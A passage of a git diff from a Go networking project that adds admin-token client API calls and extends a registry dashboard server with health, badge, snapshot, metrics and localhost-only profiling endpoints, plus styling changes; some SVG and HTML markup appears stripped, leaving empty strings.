adminToken, + }) +} + +// SetMemberTags sets admin-assigned tags for a member within a network. +func (c *Client) SetMemberTags(netID uint16, targetNodeID uint32, tags []string, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_member_tags", + "network_id": netID, + "target_node_id": targetNodeID, + "tags": tags, + "admin_token": adminToken, + }) +} + +// GetMemberTags returns admin-assigned member tags for a node (or all members if targetNodeID=0). +func (c *Client) GetMemberTags(netID uint16, targetNodeID uint32) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_member_tags", + "network_id": netID, + "target_node_id": targetNodeID, + }) +} + +// SetTaskExecAdmin sets a node's task exec flag using admin token auth. +func (c *Client) SetTaskExecAdmin(nodeID uint32, enabled bool, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_task_exec", + "node_id": nodeID, + "enabled": enabled, + "admin_token": adminToken, + }) +} + +// SetKeyExpiryAdmin sets a node's key expiry using admin token auth. +func (c *Client) SetKeyExpiryAdmin(nodeID uint32, expiresAt time.Time, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_key_expiry", + "node_id": nodeID, + "expires_at": expiresAt.Format(time.RFC3339), + "admin_token": adminToken, + }) +} + +// ClearKeyExpiryAdmin removes the key expiry from a node using admin token auth. +func (c *Client) ClearKeyExpiryAdmin(nodeID uint32, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_key_expiry", + "node_id": nodeID, + "expires_at": "never", + "admin_token": adminToken, + }) +} + +// DeregisterAdmin removes a node using admin token auth. +func (c *Client) DeregisterAdmin(nodeID uint32, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "deregister", + "node_id": nodeID, + "admin_token": adminToken, + }) +} + +// GetAuditLog returns recent audit entries from the registry. +func (c *Client) GetAuditLog(networkID uint16, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "get_audit_log", + "admin_token": adminToken, + } + if networkID != 0 { + msg["network_id"] = networkID + } + return c.Send(msg) +} + +// SetWebhook configures the registry webhook URL. Pass empty string to disable. +func (c *Client) SetWebhook(url, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_webhook", + "url": url, + "admin_token": adminToken, + }) +} + +// GetWebhook returns the current webhook configuration. +func (c *Client) GetWebhook(adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_webhook", + "admin_token": adminToken, + }) +} + +// GetWebhookDLQ returns the dead letter queue (failed webhook events). +func (c *Client) GetWebhookDLQ(adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_webhook_dlq", + "admin_token": adminToken, + }) +} + +// SetIdentityWebhook configures the identity verification webhook URL. +func (c *Client) SetIdentityWebhook(url, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_identity_webhook", + "url": url, + "admin_token": adminToken, + }) +} + +// SetExternalID sets the external identity on a node. Requires admin token. +func (c *Client) SetExternalID(nodeID uint32, externalID, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_external_id", + "node_id": nodeID, + "external_id": externalID, + "admin_token": adminToken, + }) +} + +// GetIdentity returns the external identity of a node. Requires admin token. +func (c *Client) GetIdentity(nodeID uint32, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_identity", + "node_id": nodeID, + "admin_token": adminToken, + }) +} + +// ProvisionNetwork applies a network blueprint. Requires admin token. +func (c *Client) ProvisionNetwork(blueprint map[string]interface{}, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "provision_network", + "blueprint": blueprint, + "admin_token": adminToken, + }) +} + +// SetAuditExport configures the audit export adapter. Requires admin token. +func (c *Client) SetAuditExport(format, endpoint, token, index, source, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "set_audit_export", + "format": format, + "endpoint": endpoint, + "token": token, + "index": index, + "source": source, + "admin_token": adminToken, + }) +} + +// GetAuditExport returns the current audit export configuration. Requires admin token. +func (c *Client) GetAuditExport(adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_audit_export", + "admin_token": adminToken, + }) +} + +// SetIDPConfig configures the identity provider. Requires admin token. +func (c *Client) SetIDPConfig(idpType, url, issuer, clientID, tenantID, domain, adminToken string) (map[string]interface{}, error) { + msg := map[string]interface{}{ + "type": "set_idp_config", + "idp_type": idpType, + "url": url, + "admin_token": adminToken, + } + if issuer != "" { + msg["issuer"] = issuer + } + if clientID != "" { + msg["client_id"] = clientID + } + if tenantID != "" { + msg["tenant_id"] = tenantID + } + if domain != "" { + msg["domain"] = domain + } + return c.Send(msg) +} + +// GetIDPConfig returns the current identity provider configuration. Requires admin token. +func (c *Client) GetIDPConfig(adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_idp_config", + "admin_token": adminToken, + }) +} + +// GetProvisionStatus returns per-network provisioning status. Requires admin token. +func (c *Client) GetProvisionStatus(adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "get_provision_status", + "admin_token": adminToken, + }) +} + +// DirectorySync pushes a directory listing to update RBAC roles and membership. +func (c *Client) DirectorySync(networkID uint16, entries []map[string]interface{}, removeUnlisted bool, adminToken string) (map[string]interface{}, error) { + entryList := make([]interface{}, len(entries)) + for i, e := range entries { + entryList[i] = e + } + return c.Send(map[string]interface{}{ + "type": "directory_sync", + "network_id": networkID, + "entries": entryList, + "remove_unlisted": removeUnlisted, + "admin_token": adminToken, + }) +} + +// DirectoryStatus returns directory sync status for a network. +func (c *Client) DirectoryStatus(networkID uint16, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "directory_status", + "network_id": networkID, + "admin_token": adminToken, + }) +} + +// ValidateToken validates a JWT token against the configured IDP. Requires admin token. +func (c *Client) ValidateToken(token, adminToken string) (map[string]interface{}, error) { + return c.Send(map[string]interface{}{ + "type": "validate_token", + "token": token, + "admin_token": adminToken, + }) +} diff --git a/pkg/registry/dashboard.go b/pkg/registry/dashboard.go index ecd1324d..d31544d5 100644 --- a/pkg/registry/dashboard.go +++ b/pkg/registry/dashboard.go @@ -1,9 +1,14 @@ package registry import ( + "crypto/subtle" "encoding/json" + "fmt" "log/slog" + "net" "net/http" + "net/http/pprof" + "time" ) // ServeDashboard starts an HTTP server serving the dashboard UI and stats API. @@ -16,16 +21,204 @@ func (s *Server) ServeDashboard(addr string) error { return } w.Header().Set("Content-Type", "text/html; charset=utf-8") - w.Write([]byte(dashboardHTML)) + _, _ = w.Write([]byte(dashboardHTML)) }) mux.HandleFunc("/api/stats", func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") w.Header().Set("Access-Control-Allow-Origin", "*") + var stats DashboardStats + if token := r.URL.Query().Get("token"); token != "" { + s.mu.RLock() + dt := s.dashboardToken + s.mu.RUnlock() + if dt != "" && subtle.ConstantTimeCompare([]byte(token), []byte(dt)) == 1 { + stats = s.GetDashboardStatsExtended() + } else { + stats = s.GetDashboardStatsWithHistory() + } + } else { + stats = s.GetDashboardStatsWithHistory() + } + _ = json.NewEncoder(w).Encode(stats) + }) + + mux.HandleFunc("/healthz", func(w http.ResponseWriter, r *http.Request) { + s.mu.RLock() + nodeCount := len(s.nodes) + startTime := s.startTime + s.mu.RUnlock() + + now := time.Now() + onlineThreshold := now.Add(-staleNodeThreshold) + s.mu.RLock() + online := 0 + for _, node := range s.nodes { + if node.LastSeen.After(onlineThreshold) { + online++ + } + } + s.mu.RUnlock() + + healthy := nodeCount >= 0 // registry is healthy if running + status := http.StatusOK + statusStr := "ok" + if !healthy { + status = http.StatusServiceUnavailable + statusStr = "unhealthy" + } + + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "status": statusStr, + "version": "1.0", + "uptime_seconds": int64(now.Sub(startTime).Seconds()), + "nodes_online": online, + }) + }) + + serveBadge := func(w http.ResponseWriter, label, value, color string) { + lw := int(float64(len(label))*6.5) + 10 + vw := int(float64(len(value))*6.5) + 10 + tw := lw + vw + svg := fmt.Sprintf(``+ + `%s: %s`+ + ``+ + ``+ + ``+ + ``+ + ``+ + ``+ + ``+ + ``+ + ``+ + `%s`+ + ``+ + `%s`+ + ``, + tw, label, value, + label, value, + tw, + lw, + lw, vw, color, + tw, + lw*5, label, + lw*5, label, + lw*10+vw*5, value, + lw*10+vw*5, value, + ) + w.Header().Set("Content-Type", "image/svg+xml") + w.Header().Set("Cache-Control", "no-cache, no-store, must-revalidate") + w.Header().Set("Access-Control-Allow-Origin", "*") + _, _ = w.Write([]byte(svg)) + } + + fmtCount := func(n int) string { + switch { + case n >= 1e9: + return fmt.Sprintf("%.1fB", float64(n)/1e9) + case n >= 1e6: + return fmt.Sprintf("%.1fM", float64(n)/1e6) + case n >= 1e3: + return fmt.Sprintf("%.1fK", float64(n)/1e3) + default: + return fmt.Sprintf("%d", n) + } + } + + mux.HandleFunc("/api/badge/nodes", func(w http.ResponseWriter, r *http.Request) { stats := s.GetDashboardStats() - json.NewEncoder(w).Encode(stats) + c := "#4c1" + if stats.ActiveNodes == 0 { + c = "#9f9f9f" + } + serveBadge(w, "online nodes", fmtCount(stats.ActiveNodes), c) }) + mux.HandleFunc("/api/badge/trust", func(w http.ResponseWriter, r *http.Request) { + stats := s.GetDashboardStats() + c := "#58a6ff" + if stats.TotalTrustLinks == 0 { + c = "#9f9f9f" + } + serveBadge(w, "trust links", fmtCount(stats.TotalTrustLinks), c) + }) + + mux.HandleFunc("/api/badge/requests", func(w http.ResponseWriter, r *http.Request) { + stats := s.GetDashboardStats() + serveBadge(w, "requests", fmtCount(int(stats.TotalRequests)), "#a855f7") + }) + + // Snapshot trigger endpoint (POST only, localhost only) + mux.HandleFunc("/api/snapshot", func(w http.ResponseWriter, r *http.Request) { + // Check localhost - only trust X-Real-IP if request is from a trusted proxy + remoteIP, _, _ := net.SplitHostPort(r.RemoteAddr) + clientIP := remoteIP + + // Only trust X-Real-IP header if the request is already from localhost (trusted proxy) + if remoteIP == "127.0.0.1" || remoteIP == "::1" || remoteIP == "localhost" { + if realIP := r.Header.Get("X-Real-IP"); realIP != "" { + clientIP = realIP + } + } + + if clientIP != "127.0.0.1" && clientIP != "::1" && clientIP != "localhost" { + http.Error(w, "Forbidden", http.StatusForbidden) + return + } + if r.Method != http.MethodPost { + http.Error(w, "Method not allowed", http.StatusMethodNotAllowed) + return + } + if err := s.TriggerSnapshot(); err != nil { + http.Error(w, fmt.Sprintf("snapshot failed: %v", err), http.StatusInternalServerError) + return + } + w.Header().Set("Content-Type", "application/json") + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "status": "ok", + "message": "snapshot saved successfully", + }) + }) + + // localhostOnly rejects requests not originating from loopback. + // Only trusts X-Real-IP header when the request is from a trusted proxy (localhost). + localhostOnly := func(next http.HandlerFunc) http.HandlerFunc { + return func(w http.ResponseWriter, r *http.Request) { + // Get the actual remote address + remoteIP, _, _ := net.SplitHostPort(r.RemoteAddr) + clientIP := remoteIP + + // Only trust X-Real-IP header if the request is already from localhost (trusted proxy) + if remoteIP == "127.0.0.1" || remoteIP == "::1" || remoteIP == "localhost" { + if realIP := r.Header.Get("X-Real-IP"); realIP != "" { + clientIP = realIP + } + } + + if clientIP != "127.0.0.1" && clientIP != "::1" && clientIP != "localhost" { + http.Error(w, "Forbidden", http.StatusForbidden) + return + } + next(w, r) + } + } + + // Prometheus metrics endpoint (localhost only — scraped by Alloy on the same host) + mux.HandleFunc("/metrics", localhostOnly(func(w http.ResponseWriter, r *http.Request) { + s.metrics.updateGauges(s) + w.Header().Set("Content-Type", "text/plain; version=0.0.4; charset=utf-8") + s.metrics.WriteTo(w) + })) + + // pprof endpoints for live profiling (localhost only) + mux.HandleFunc("/debug/pprof/", localhostOnly(pprof.Index)) + mux.HandleFunc("/debug/pprof/cmdline", localhostOnly(pprof.Cmdline)) + mux.HandleFunc("/debug/pprof/profile", localhostOnly(pprof.Profile)) + mux.HandleFunc("/debug/pprof/symbol", localhostOnly(pprof.Symbol)) + mux.HandleFunc("/debug/pprof/trace", localhostOnly(pprof.Trace)) + slog.Info("dashboard listening", "addr", addr) return http.ListenAndServe(addr, mux) } @@ -44,41 +237,67 @@ a:hover{text-decoration:underline} .container{max-width:960px;margin:0 auto;padding:24px 16px} -header{display:flex;align-items:center;justify-content:space-between;padding:16px 0;border-bottom:1px solid #21262d;margin-bottom:32px} +header{padding:16px 0;border-bottom:1px solid #21262d;margin-bottom:32px} header h1{font-size:20px;font-weight:600;color:#e6edf3} -header .links{display:flex;gap:16px;font-size:13px} .uptime{font-size:12px;color:#8b949e;margin-top:4px} -.stats-row{display:grid;grid-template-columns:repeat(3,1fr);gap:16px;margin-bottom:32px} +.stats-row{display:grid;grid-template-columns:repeat(4,1fr);gap:16px;margin-bottom:32px} .stat-card{background:#161b22;border:1px solid #21262d;border-radius:8px;padding:20px;text-align:center} .stat-card .value{font-size:32px;font-weight:700;color:#e6edf3;display:block} .stat-card .label{font-size:12px;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;margin-top:4px} -.section{margin-bottom:32px} -.section h2{font-size:14px;font-weight:600;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;margin-bottom:12px;padding-bottom:8px;border-bottom:1px solid #21262d} +.versions{background:#161b22;border:1px solid #21262d;border-radius:8px;padding:20px;margin-bottom:32px} +.versions h2{font-size:14px;font-weight:600;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;margin-bottom:12px} +.ver-row{display:flex;align-items:center;gap:12px;margin-bottom:8px} +.ver-label{min-width:120px;font-size:13px;color:#c9d1d9} +.ver-bar-bg{flex:1;height:20px;background:#0d1117;border-radius:4px;overflow:hidden} +.ver-bar{height:100%;border-radius:4px;transition:width 0.3s} +.ver-count{min-width:60px;text-align:right;font-size:13px;color:#8b949e} -table{width:100%;border-collapse:collapse;background:#161b22;border:1px solid #21262d;border-radius:8px;overflow:hidden} -th{text-align:left;font-size:11px;font-weight:600;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;padding:10px 16px;background:#0d1117;border-bottom:1px solid #21262d} -td{padding:10px 16px;border-bottom:1px solid #21262d;font-size:13px} -tr:last-child td{border-bottom:none} +.token-bar{display:flex;align-items:center;gap:8px;margin-top:8px} +.token-bar input{background:#0d1117;border:1px solid #21262d;border-radius:4px;color:#c9d1d9;padding:4px 8px;font-family:inherit;font-size:12px;width:180px} +.token-bar input::placeholder{color:#484f58} +.token-bar button{background:#21262d;border:1px solid #30363d;border-radius:4px;color:#c9d1d9;padding:4px 10px;font-family:inherit;font-size:12px;cursor:pointer} +.token-bar button:hover{border-color:#58a6ff;color:#58a6ff} +.token-bar .status{font-size:11px;color:#484f58} +.token-bar .status.ok{color:#3fb950} -.status-dot{display:inline-block;width:8px;height:8px;border-radius:50%;margin-right:6px;vertical-align:middle} -.status-online{background:#3fb950} -.status-offline{background:#484f58} +.networks{background:#161b22;border:1px solid #21262d;border-radius:8px;padding:20px;margin-bottom:32px;display:none} +.networks h2{font-size:14px;font-weight:600;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;margin-bottom:12px} +.networks table{width:100%;border-collapse:collapse} +.networks th{text-align:left;font-size:11px;color:#484f58;text-transform:uppercase;letter-spacing:0.5px;padding:6px 8px;border-bottom:1px solid #21262d} +.networks td{font-size:13px;color:#c9d1d9;padding:6px 8px;border-bottom:1px solid #161b22} +.networks tr:hover td{background:#0d1117} +.net-id{color:#8b949e;font-size:11px} +.networks tr{cursor:pointer} +.networks tr.active td{background:#0d1117} -.diagrams{display:grid;grid-template-columns:1fr 1fr;gap:16px;margin-bottom:32px} -.diagram-card{background:#161b22;border:1px solid #21262d;border-radius:8px;padding:20px;text-align:center} -.diagram-card h3{font-size:13px;font-weight:600;color:#8b949e;margin-bottom:12px;text-transform:uppercase;letter-spacing:0.5px} +.net-detail{background:#0d1117;border:1px solid #21262d;border-radius:8px;padding:20px;margin-top:12px;display:none} +.net-detail h3{font-size:14px;font-weight:600;color:#e6edf3;margin-bottom:4px} +.net-detail .disclaimer{font-size:11px;color:#484f58;margin-bottom:12px} +.net-detail .net-charts{display:grid;grid-template-columns:repeat(2,1fr);gap:16px} +.net-detail .net-chart-wrap{position:relative} +.net-detail .net-chart-label{font-size:12px;color:#8b949e;margin-bottom:6px} +.net-detail svg{width:100%;display:block} -.empty{color:#484f58;font-style:italic;padding:20px;text-align:center} +.charts-row{display:grid;grid-template-columns:repeat(2,1fr);gap:16px;margin-bottom:32px} +.chart-card{background:#161b22;border:1px solid #21262d;border-radius:8px;padding:20px} +.chart-card h2{font-size:14px;font-weight:600;color:#8b949e;text-transform:uppercase;letter-spacing:0.5px;margin-bottom:12px} +.chart-card .disclaimer{font-size:11px;color:#484f58;margin-bottom:8px} +.chart-card svg{width:100%;display:block} +.chart-tooltip{position:absolute;background:#21262d;border:1px solid #30363d;border-radius:4px;padding:4px 8px;font-size:11px;color:#e6edf3;pointer-events:none;white-space:nowrap;display:none;z-index:10} + +@media(max-width:640px){ + .charts-row{grid-template-columns:1fr} +} footer{text-align:center;padding:24px 0;border-top:1px solid #21262d;margin-top:32px;font-size:12px;color:#484f58} footer a{color:#484f58} footer a:hover{color:#58a6ff} @media(max-width:640px){ - .stats-row{grid-template-columns:1fr} - .diagrams{grid-template-columns:1fr} + .stats-row{grid-template-columns:repeat(2,1fr)} + .networks table{font-size:12px} } @@ -89,109 +308,80 @@ footer a:hover{color:#58a6ff}

Pilot Protocol

Uptime: —
-
-
- GitHub - pilotprotocol.network +
+ + + +
+
+ — + Total Requests +
— Total Nodes
— - Active Nodes + Online Nodes
- — - Requests Served + — + Trust Links
-
-
-

The Problem

- - - - Agent A - - Agent B - - Agent C - - - NAT - - FIREWALL - - NAT - - - - - - ✕ - ✕ - - - No addressability - - Isolated agents, custom integrations - +